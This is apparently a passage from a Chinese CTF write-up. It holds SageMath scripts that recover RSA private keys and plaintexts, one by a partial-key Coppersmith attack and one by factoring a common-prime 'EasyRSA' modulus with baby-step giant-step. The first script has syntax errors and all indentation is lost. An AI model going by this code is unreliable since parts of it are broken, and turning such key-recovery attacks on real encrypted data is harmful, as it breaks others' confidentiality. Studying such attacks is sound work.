d_=51922392037054965957994618792545191283979879052769311017420397943569729387241291615967860347543490837943194867963559620326233806950203605430695561698099370379711352056567716185665995739452373593820321078614603310911807288759647808038104413677259085086482871151447742963730089791217336473149711277887953445987
blind=1022253789881
e = 315877627939914682167275979171048924911
k = (d_>>365<<365)*e//n+1
print(k)
d0 = 305686942495898399049381993768424633072311512220602994167415931983633446942350*blind+d_
print((e*d0-1)//k)
PR.<t,y> = PolynomialRing(Zmod(n))
dh = d_>>365
dl = d_%blind
dd= d_+t*blind
f = e * dd-1+k*(y+)-k
for i in range(3,8):
for j in range(3,8)
res = small_roots(f,[2^365,2^513],m=j,d=i)
print(hex(res[0]))
from Crypto.Util.number import *
d_ = 35543944120330116255735518733645489603573091842911907294542145633663234716786783315679867957932690565524695409353902407238230794612110053347977693435578424147992257282456254035309964691562747903421859204068006443325340570360806343392553225754316397967193324090858612423946304818214259628194263287347469670466
blind = 757679866771
enc = 19853765442007775876887241200871445335873698995336480258510762108568698654347239404466018587258683380716257697287810506470119048708570691810417483606733656269976330892819998306493425545055270250642091136316635340047265544394031708296941054865358649424861323618308881521370980854619709646182020458999169008788
n = 58273981186201544662497686603513109679871732872710290794332222899533972577334318295883065181401468548089995964427612249110216775058749030840477167325648156157792476414639983292885697153441817705191116555945635579175171648010932408400320937775056359336717949119846917473695481683831886468389055754689273767107
e = 311238058411019550438393569886672869203
blind_bit = 40
unknown_bit = 365
k = (d_>>365<<365)*e//n+1
PR.<y> = PolynomialRing(GF(e))
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]
g = y*ans1-y^2-n
ans1 = (g.roots())
PR.<y> = PolynomialRing(GF(blind))
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]
g = y*ans2-y^2-n
ans2 = (g.roots())
pl = []
for i in ans1:
for j in ans2:
pl.append(crt([int(i[0]),int(j[0])],[e,blind]))
print(pl)
sh = 43455964700998276860477800987643389941075455294569061
sh = sh*2^170*e*blind
kbit = 242
R.<x> = PolynomialRing(RealField(1000))
f = x*sh-x^2-n
print(f.roots())
for i in (f.roots()):
ph = (int(i[0])//(2^kbit*(e*blind)))
for j in pl:
R.<x> = PolynomialRing(Zmod(n))
f = ph*2^kbit*e*blind+x*e*blind+int(j)
f = f.monic()
ans = (f.small_roots(X = 2^kbit,beta = 0.4,epsilon = 0.02))
if ans:
p = ph*2^kbit*e*blind+int(ans[0])*e*blind+int(j)
q = n//p
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(enc,d,n)
print(hex(m)[2:])
EasyRSA
板子题,网上有现成脚本可以使用
https://hasegawaazusa.github.io/common-prime-rsa.html#%E5%B7%B2%E7%9F%A5-g
from sage.groups.generic import bsgs
N =
g =
enc =
nbits = 2048
gamma = 0.244
cbits = ceil(nbits * (0.5 - 2 * gamma))
M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
# c的范围大概与N^(0.5-2*gamma)很接近
c = bsgs(y, y ^ u, (Integer(2**(cbits-1)), Integer(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
a, b = a[0][0], a[1][0]
p = 2 * g * a + 1
q = 2 * g * b + 1
assert p * q == N
phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(int(enc),d,N)
from Crypto.Util.number import *
print(long_to_bytes(int(m)))